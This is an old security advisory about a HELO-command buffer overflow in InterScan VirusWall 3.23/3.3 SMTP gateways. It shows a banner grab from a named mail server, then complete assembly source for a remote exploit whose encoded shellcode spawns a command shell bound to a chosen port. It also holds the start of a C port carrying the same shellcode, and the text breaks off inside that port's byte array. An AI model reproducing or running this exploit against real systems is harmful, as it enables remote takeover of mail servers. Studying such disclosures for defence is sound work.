Vulnerability
VirusWall
Affected
VirusWall 3.23, 3.3.
Description
dark spyrit found following. A buffer overflow exists on the
VirusWall smtp gateway - by sending a long HELO command you can
overflow the buffer and execute arbitrary code. Example code has
been written which will spawn a command prompt on a port you
specify. Before you shrug this one off, take a look:
Connected to mail1.microsoft.com.
Escape character is '^]'.
220 mail1.microsoft.com InterScan VirusWall NT ESMTP 3.23 (build 9/10/99)
ready
at Sun, 07 Nov 1999 03:38:44 -0800 (Pacific Standard Time)
The ironic thing here is, VirusWall was designed to prevent
viruses and 'malicious code'. Obviously not a lot of thought was
taken before laying their trust into 3rd party 'security'
products. Exploit source and binary is available at
http://www.beavuh.org
Credit to Liraz Siri for bringing this to attention. Here's asm
code and C port follows it:
; Interscan VirusWall 3.23/3.3 remote.
;
; The binary is available at http://www.beavuh.org.
;
; To assemble:
;
; tasm32 -ml vwxploit.asm
; tlink32 -Tpe -c -x vwxploit.obj ,,, import32
;
; TASM 5 required!
;
; dark spyrit <dspyrit@beavuh.org>
.386p
locals
jumps
.model flat, stdcall
extrn GetCommandLineA:PROC
extrn GetStdHandle:PROC
extrn WriteConsoleA:PROC
extrn ExitProcess:PROC
extrn WSAStartup:PROC
extrn connect:PROC
extrn send:PROC
extrn recv:PROC
extrn WSACleanup:PROC
extrn gethostbyname:PROC
extrn htons:PROC
extrn socket:PROC
extrn inet_addr:PROC
extrn closesocket:PROC
extrn Sleep:PROC
.data
sploit_length323 equ 1314
sploit323:
db 068h, 065h, 06ch, 06fh, 020h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 0bbh, 010h, 00bh, 011h, 001h, 0c1h, 0ebh
db 002h, 08bh, 0f8h, 033h, 0c0h, 050h, 048h, 090h, 050h, 059h, 0f2h, 0afh
db 059h, 0b1h, 0c6h, 08bh, 0c7h, 048h, 080h, 030h, 099h, 0e2h, 0fah, 033h
db 0f6h, 096h, 090h, 090h, 056h, 0ffh, 013h, 08bh, 0d0h, 0fch, 033h, 0c9h
db 0b1h, 00bh, 049h, 032h, 0c0h, 0ach, 084h, 0c0h, 075h, 0f9h, 052h, 051h
db 056h, 052h, 066h, 0bbh, 034h, 043h, 0ffh, 013h, 0abh, 059h, 05ah, 0e2h
db 0ech, 032h, 0c0h, 0ach, 084h, 0c0h, 075h, 0f9h, 066h, 0bbh, 0c4h, 042h
db 056h, 0ffh, 013h, 08bh, 0d0h, 0fch, 033h, 0c9h, 0b1h, 006h, 032h, 0c0h
db 0ach, 084h, 0c0h, 075h, 0f9h, 052h, 051h, 056h, 052h, 066h, 0bbh, 034h
db 043h, 0ffh, 013h, 0abh, 059h, 05ah, 0e2h, 0ech, 083h, 0c6h, 005h, 033h
db 0c0h, 050h, 040h, 050h, 040h, 050h, 0ffh, 057h, 0e8h, 093h, 06ah, 010h
db 056h, 053h, 0ffh, 057h, 0ech, 06ah, 002h, 053h, 0ffh, 057h, 0f0h, 033h
db 0c0h, 057h, 050h, 0b0h, 00ch, 0abh, 058h, 0abh, 040h, 0abh, 05fh, 048h
db 050h, 057h, 056h, 0adh, 056h, 0ffh, 057h, 0c0h, 048h, 050h, 057h, 0adh
db 056h, 0adh, 056h, 0ffh, 057h, 0c0h, 048h, 0b0h, 044h, 089h, 007h, 057h
db 0ffh, 057h, 0c4h, 033h, 0c0h, 08bh, 046h, 0f4h, 089h, 047h, 03ch, 089h
db 047h, 040h, 08bh, 006h, 089h, 047h, 038h, 033h, 0c0h, 066h, 0b8h, 001h
db 001h, 089h, 047h, 02ch, 057h, 057h, 033h, 0c0h, 050h, 050h, 050h, 040h
db 050h, 048h, 050h, 050h, 0adh, 056h, 033h, 0c0h, 050h, 0ffh, 057h, 0c8h
db 0ffh, 076h, 0f0h, 0ffh, 057h, 0cch, 0ffh, 076h, 0fch, 0ffh, 057h, 0cch
db 048h, 050h, 050h, 053h, 0ffh, 057h, 0f4h, 08bh, 0d8h, 033h, 0c0h, 0b4h
db 004h, 050h, 0c1h, 0e8h, 004h, 050h, 0ffh, 057h, 0d4h, 08bh, 0f0h, 033h
db 0c0h, 08bh, 0c8h, 0b5h, 004h, 050h, 050h, 057h, 051h, 050h, 0ffh, 077h
db 0a8h, 0ffh, 057h, 0d0h, 083h, 03fh, 001h, 07ch, 022h, 033h, 0c0h, 050h
db 057h, 0ffh, 037h, 056h, 0ffh, 077h, 0a8h, 0ffh, 057h, 0dch, 00bh, 0c0h
db 074h, 02fh, 033h, 0c0h, 050h, 0ffh, 037h, 056h, 053h, 0ffh, 057h, 0f8h
db 06ah, 050h, 0ffh, 057h, 0e0h, 0ebh, 0c8h, 033h, 0c0h, 050h, 0b4h, 004h
db 050h, 056h, 053h, 0ffh, 057h, 0fch, 057h, 033h, 0c9h, 051h, 050h, 056h
db 0ffh, 077h, 0ach, 0ffh, 057h, 0d8h, 06ah, 050h, 0ffh, 057h, 0e0h, 0ebh
db 0aah, 050h, 0ffh, 057h, 0e4h, 090h, 0d2h, 0dch, 0cbh, 0d7h, 0dch, 0d5h
db 0aah, 0abh, 099h, 0dah, 0ebh, 0fch, 0f8h, 0edh, 0fch, 0c9h, 0f0h, 0e9h
db 0fch, 099h, 0deh, 0fch, 0edh, 0cah, 0edh, 0f8h, 0ebh, 0edh, 0ech, 0e9h
db 0d0h, 0f7h, 0ffh, 0f6h, 0d8h, 099h, 0dah, 0ebh, 0fch, 0f8h, 0edh, 0fch
db 0c9h, 0ebh, 0f6h, 0fah, 0fch, 0eah, 0eah, 0d8h, 099h, 0dah, 0f5h, 0f6h
db 0eah, 0fch, 0d1h, 0f8h, 0f7h, 0fdh, 0f5h, 0fch, 099h, 0c9h, 0fch, 0fch
db 0f2h, 0d7h, 0f8h, 0f4h, 0fch, 0fdh, 0c9h, 0f0h, 0e9h, 0fch, 099h, 0deh
db 0f5h, 0f6h, 0fbh, 0f8h, 0f5h, 0d8h, 0f5h, 0f5h, 0f6h, 0fah, 099h, 0ceh
db 0ebh, 0f0h, 0edh, 0fch, 0dfh, 0f0h, 0f5h, 0fch, 099h, 0cbh, 0fch, 0f8h
db 0fdh, 0dfh, 0f0h, 0f5h, 0fch, 099h, 0cah, 0f5h, 0fch, 0fch, 0e9h, 099h
db 0dch, 0e1h, 0f0h, 0edh, 0c9h, 0ebh, 0f6h, 0fah, 0fch, 0eah, 0eah, 099h
db 0ceh, 0cah, 0d6h, 0dah, 0d2h, 0aah, 0abh, 099h, 0eah, 0f6h, 0fah, 0f2h
db 0fch, 0edh, 099h, 0fbh, 0f0h, 0f7h, 0fdh, 099h, 0f5h, 0f0h, 0eah, 0edh
db 0fch, 0f7h, 099h, 0f8h, 0fah, 0fah, 0fch, 0e9h, 0edh, 099h, 0eah, 0fch
db 0f7h, 0fdh, 099h, 0ebh, 0fch, 0fah, 0efh, 099h, 09bh, 099h
store dw ?
db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h
db 0fah, 0f4h, 0fdh, 0b7h, 0fch, 0e1h, 0fch, 099h, 0ffh, 0ffh, 0ffh, 0ffh
db 060h, 045h, 042h, 000h, 00dh, 00ah
sploit_length33 equ 794
sploit33:
db 068h, 065h, 06ch, 06fh, 020h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h
db 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 090h, 04bh, 08bh
db 0c3h, 0bbh, 001h, 090h, 016h, 001h, 0c1h, 0ebh, 002h, 08bh, 0f8h, 033h
db 0c0h, 050h, 048h, 090h, 050h, 059h, 0f2h, 0afh, 059h, 0b1h, 0c6h, 08bh
db 0c7h, 048h, 080h, 030h, 099h, 0e2h, 0fah, 033h, 0f6h, 096h, 090h, 090h
db 056h, 0ffh, 013h, 08bh, 0d0h, 0fch, 033h, 0c9h, 0b1h, 00bh, 049h, 032h
db 0c0h, 0ach, 084h, 0c0h, 075h, 0f9h, 052h, 051h, 056h, 052h, 0b3h, 080h
db 090h, 090h, 0ffh, 013h, 0abh, 059h, 05ah, 0e2h, 0ech, 032h, 0c0h, 0ach
db 084h, 0c0h, 075h, 0f9h, 0b3h, 001h, 04bh, 090h, 056h, 0ffh, 013h, 08bh
db 0d0h, 0fch, 033h, 0c9h, 0b1h, 006h, 032h, 0c0h, 0ach, 084h, 0c0h, 075h
db 0f9h, 052h, 051h, 056h, 052h, 0b3h, 080h, 090h, 090h, 0ffh, 013h, 0abh
db 059h, 05ah, 0e2h, 0ech, 083h, 0c6h, 005h, 033h, 0c0h, 050h, 040h, 050h
db 040h, 050h, 0ffh, 057h, 0e8h, 093h, 06ah, 010h, 056h, 053h, 0ffh, 057h
db 0ech, 06ah, 002h, 053h, 0ffh, 057h, 0f0h, 033h, 0c0h, 057h, 050h, 0b0h
db 00ch, 0abh, 058h, 0abh, 040h, 0abh, 05fh, 048h, 050h, 057h, 056h, 0adh
db 056h, 0ffh, 057h, 0c0h, 048h, 050h, 057h, 0adh, 056h, 0adh, 056h, 0ffh
db 057h, 0c0h, 048h, 0b0h, 044h, 089h, 007h, 057h, 0ffh, 057h, 0c4h, 033h
db 0c0h, 08bh, 046h, 0f4h, 089h, 047h, 03ch, 089h, 047h, 040h, 08bh, 006h
db 089h, 047h, 038h, 033h, 0c0h, 066h, 0b8h, 001h, 001h, 089h, 047h, 02ch
db 057h, 057h, 033h, 0c0h, 050h, 050h, 050h, 040h, 050h, 048h, 050h, 050h
db 0adh, 056h, 033h, 0c0h, 050h, 0ffh, 057h, 0c8h, 0ffh, 076h, 0f0h, 0ffh
db 057h, 0cch, 0ffh, 076h, 0fch, 0ffh, 057h, 0cch, 048h, 050h, 050h, 053h
db 0ffh, 057h, 0f4h, 08bh, 0d8h, 033h, 0c0h, 0b4h, 004h, 050h, 0c1h, 0e8h
db 004h, 050h, 0ffh, 057h, 0d4h, 08bh, 0f0h, 033h, 0c0h, 08bh, 0c8h, 0b5h
db 004h, 050h, 050h, 057h, 051h, 050h, 0ffh, 077h, 0a8h, 0ffh, 057h, 0d0h
db 083h, 03fh, 001h, 07ch, 022h, 033h, 0c0h, 050h, 057h, 0ffh, 037h, 056h
db 0ffh, 077h, 0a8h, 0ffh, 057h, 0dch, 00bh, 0c0h, 074h, 02fh, 033h, 0c0h
db 050h, 0ffh, 037h, 056h, 053h, 0ffh, 057h, 0f8h, 06ah, 050h, 0ffh, 057h
db 0e0h, 0ebh, 0c8h, 033h, 0c0h, 050h, 0b4h, 004h, 050h, 056h, 053h, 0ffh
db 057h, 0fch, 057h, 033h, 0c9h, 051h, 050h, 056h, 0ffh, 077h, 0ach, 0ffh
db 057h, 0d8h, 06ah, 050h, 0ffh, 057h, 0e0h, 0ebh, 0aah, 050h, 0ffh, 057h
db 0e4h, 090h, 0d2h, 0dch, 0cbh, 0d7h, 0dch, 0d5h, 0aah, 0abh, 099h, 0dah
db 0ebh, 0fch, 0f8h, 0edh, 0fch, 0c9h, 0f0h, 0e9h, 0fch, 099h, 0deh, 0fch
db 0edh, 0cah, 0edh, 0f8h, 0ebh, 0edh, 0ech, 0e9h, 0d0h, 0f7h, 0ffh, 0f6h
db 0d8h, 099h, 0dah, 0ebh, 0fch, 0f8h, 0edh, 0fch, 0c9h, 0ebh, 0f6h, 0fah
db 0fch, 0eah, 0eah, 0d8h, 099h, 0dah, 0f5h, 0f6h, 0eah, 0fch, 0d1h, 0f8h
db 0f7h, 0fdh, 0f5h, 0fch, 099h, 0c9h, 0fch, 0fch, 0f2h, 0d7h, 0f8h, 0f4h
db 0fch, 0fdh, 0c9h, 0f0h, 0e9h, 0fch, 099h, 0deh, 0f5h, 0f6h, 0fbh, 0f8h
db 0f5h, 0d8h, 0f5h, 0f5h, 0f6h, 0fah, 099h, 0ceh, 0ebh, 0f0h, 0edh, 0fch
db 0dfh, 0f0h, 0f5h, 0fch, 099h, 0cbh, 0fch, 0f8h, 0fdh, 0dfh, 0f0h, 0f5h
db 0fch, 099h, 0cah, 0f5h, 0fch, 0fch, 0e9h, 099h, 0dch, 0e1h, 0f0h, 0edh
db 0c9h, 0ebh, 0f6h, 0fah, 0fch, 0eah, 0eah, 099h, 0ceh, 0cah, 0d6h, 0dah
db 0d2h, 0aah, 0abh, 099h, 0eah, 0f6h, 0fah, 0f2h, 0fch, 0edh, 099h, 0fbh
db 0f0h, 0f7h, 0fdh, 099h, 0f5h, 0f0h, 0eah, 0edh, 0fch, 0f7h, 099h, 0f8h
db 0fah, 0fah, 0fch, 0e9h, 0edh, 099h, 0eah, 0fch, 0f7h, 0fdh, 099h, 0ebh
db 0fch, 0fah, 0efh, 099h, 09bh, 099h
store2 dw ?
db 099h, 099h, 099h, 099h
db 099h, 099h, 099h, 099h, 099h, 099h, 099h, 099h, 0fah, 0f4h, 0fdh, 0b7h
db 0fch, 0e1h, 0fch, 099h, 0ffh, 0ffh, 0ffh, 0ffh, 009h, 01fh, 040h, 000h
db 00dh, 00ah
logo db "Interscan VirusWall NT 3.23/3.3 remote - http://www.beavuh.org for nfo.", 13, 10
db "by dark spyrit <dspyrit@beavuh.org>",13,10,13,10
db "usage: vwxploit <host> <port> <port to bind shell> <version>", 13, 10
db "eg - vwxploit host.com 25 1234 3.23",13,10,0
logolen equ $-logo
errorinit db 10,"error initializing winsock.", 13, 10, 0
errorinitl equ $-errorinit
derror db 10,"error.",13,10,0
derrorl equ $-derror
nohost db 10,"no host or ip specified.", 13,10,0
nohostl equ $-nohost
noport db 10,"no port specified.",13,10,0
noportl equ $-noport
no_port2 db 10,"no bind port specified.",13,10,0
no_port2l equ $-no_port2
response db 10,"waiting for response....",13,10,0
respl equ $-response
reshost db 10,"error resolving host.",13,10,0
reshostl equ $-reshost
sockerr db 10,"error creating socket.",13,10,0
sockerrl equ $-sockerr
ipill db 10,"ip error.",13,10,0
ipilll equ $-ipill
cnerror db 10,"error establishing connection.",13,10,0
cnerrorl equ $-cnerror
success db 10,"sent.. spawn connection now.",13,10,0
successl equ $-success
verzion db 10,"please specify a valid version.",13,10,0
verzionl equ $-verzion
console_in dd ?
console_out dd ?
bytes_read dd ?
wsadescription_len equ 256
wsasys_status_len equ 128
WSAdata struct
wVersion dw ?
wHighVersion dw ?
szDescription db wsadescription_len+1 dup (?)
szSystemStatus db wsasys_status_len+1 dup (?)
iMaxSockets dw ?
iMaxUdpDg dw ?
lpVendorInfo dw ?
WSAdata ends
sockaddr_in struct
sin_family dw ?
sin_port dw ?
sin_addr dd ?
sin_zero db 8 dup (0)
sockaddr_in ends
wsadata WSAdata <?>
sin sockaddr_in <?>
sock dd ?
numbase dd 10
version db 0
_port db 256 dup (?)
_host db 256 dup (?)
_port2 db 256 dup (?)
buffer db 1000 dup (0)
.code
start:
call init_console
push logolen
push offset logo
call write_console
call GetCommandLineA
mov edi, eax
mov ecx, -1
xor al, al
push edi
repnz scasb
not ecx
pop edi
mov al, 20h
repnz scasb
dec ecx
cmp ch, 0ffh
jz @@0
test ecx, ecx
jnz @@1
@@0:
push nohostl
push offset nohost
call write_console
jmp quit3
@@1:
mov esi, edi
lea edi, _host
call parse
or ecx, ecx
jnz @@2
push noportl
push offset noport
call write_console
jmp quit3
@@2:
lea edi, _port
call parse
or ecx, ecx
jnz @@3
push no_port2l
push offset no_port2
call write_console
jmp quit3
@@3:
push ecx
lea edi, _port2
call parse
cmp dword ptr [esi], "32.3"
jz ver1
cmp word ptr [esi+1], "3."
jz ver2
push verzionl
push offset verzion
call write_console
jmp quit3
ver1:
inc version
ver2:
push offset wsadata
push 0101h
call WSAStartup
or eax, eax
jz winsock_found
push errorinitl
push offset errorinit
call write_console
jmp quit3
winsock_found:
xor eax, eax
push eax
inc eax
push eax
inc eax
push eax
call socket
cmp eax, -1
jnz socket_ok
push sockerrl
push offset sockerr
call write_console
jmp quit2
socket_ok:
mov sock, eax
mov sin.sin_family, 2
mov ebx, offset _port
call str2num
mov eax, edx
push eax
call htons
mov sin.sin_port, ax
mov ebx, offset _port2
call str2num
mov eax, edx
push eax
call htons
xor ax, 09999h
mov store, ax
mov store2, ax
mov esi, offset _host
lewp:
xor al, al
lodsb
cmp al, 039h
ja gethost
test al, al
jnz lewp
push offset _host
call inet_addr
cmp eax, -1
jnz ip_aight
push ipilll
push offset ipill
call write_console
jmp quit1
ip_aight:
mov sin.sin_addr, eax
jmp continue
gethost:
push offset _host
call gethostbyname
test eax, eax
jnz gothost
push reshostl
push offset reshost
call write_console
jmp quit1
gothost:
mov eax, [eax+0ch]
mov eax, [eax]
mov eax, [eax]
mov sin.sin_addr, eax
continue:
push size sin
push offset sin
push sock
call connect
or eax, eax
jz connect_ok
push cnerrorl
push offset cnerror
call write_console
jmp quit1
connect_ok:
push respl
push offset response
call write_console
xor eax, eax
push eax
push 1000
push offset buffer
push sock
call recv
or eax, eax
jg sveet
push derrorl
push offset derror
call write_console
jmp quit1
sveet:
push eax
push offset buffer
call write_console
cmp version, 0
jz shell2
xor eax, eax
push eax
push sploit_length323
push offset sploit323
push sock
jmp blah
shell2:
xor eax, eax
push eax
push sploit_length33
push offset sploit33
push sock
blah:
call send
push 500
call Sleep
push successl
push offset success
call write_console
quit1:
push sock
call closesocket
quit2:
call WSACleanup
quit3:
push 0
call ExitProcess
parse proc
;cheap parsing..
lewp9:
xor eax, eax
cld
lodsb
cmp al, 20h
jz done
test al, al
jz done2
stosb
dec ecx
jmp lewp9
done:
dec ecx
done2:
ret
endp
str2num proc
push eax ecx edi
xor eax, eax
xor ecx, ecx
xor edx, edx
xor edi, edi
lewp2:
xor al, al
xlat
test al, al
jz end_it
sub al, 030h
mov cl, al
mov eax, edx
mul numbase
add eax, ecx
mov edx, eax
inc ebx
inc edi
cmp edi, 0ah
jnz lewp2
end_it:
pop edi ecx eax
ret
endp
init_console proc
push -10
call GetStdHandle
or eax, eax
je init_error
mov [console_in], eax
push -11
call GetStdHandle
or eax, eax
je init_error
mov [console_out], eax
ret
init_error:
push 0
call ExitProcess
endp
write_console proc text_out:dword, text_len:dword
pusha
push 0
push offset bytes_read
push text_len
push text_out
push console_out
call WriteConsoleA
popa
ret
endp
end start
C code:
/* Interscan VirusWall 3.23/3.3 remote
* by dark spyrit <dspyrit@beavuh.org>
* quick unix port by team teso (http://teso.scene.at/).
*
* further information at http://www.beavuh.org.
*/
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <netdb.h>
/* local functions
*/
void usage (void);
unsigned long int net_resolve (char *host);
int net_connect (struct sockaddr_in *cs, char *server,
unsigned short int port, int sec);
/* shellcode by dark spyrit
*/
unsigned long sploit_323_len = 1314;
unsigned char sploit_323[] =
"\x68\x65\x6c\x6f\x20\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
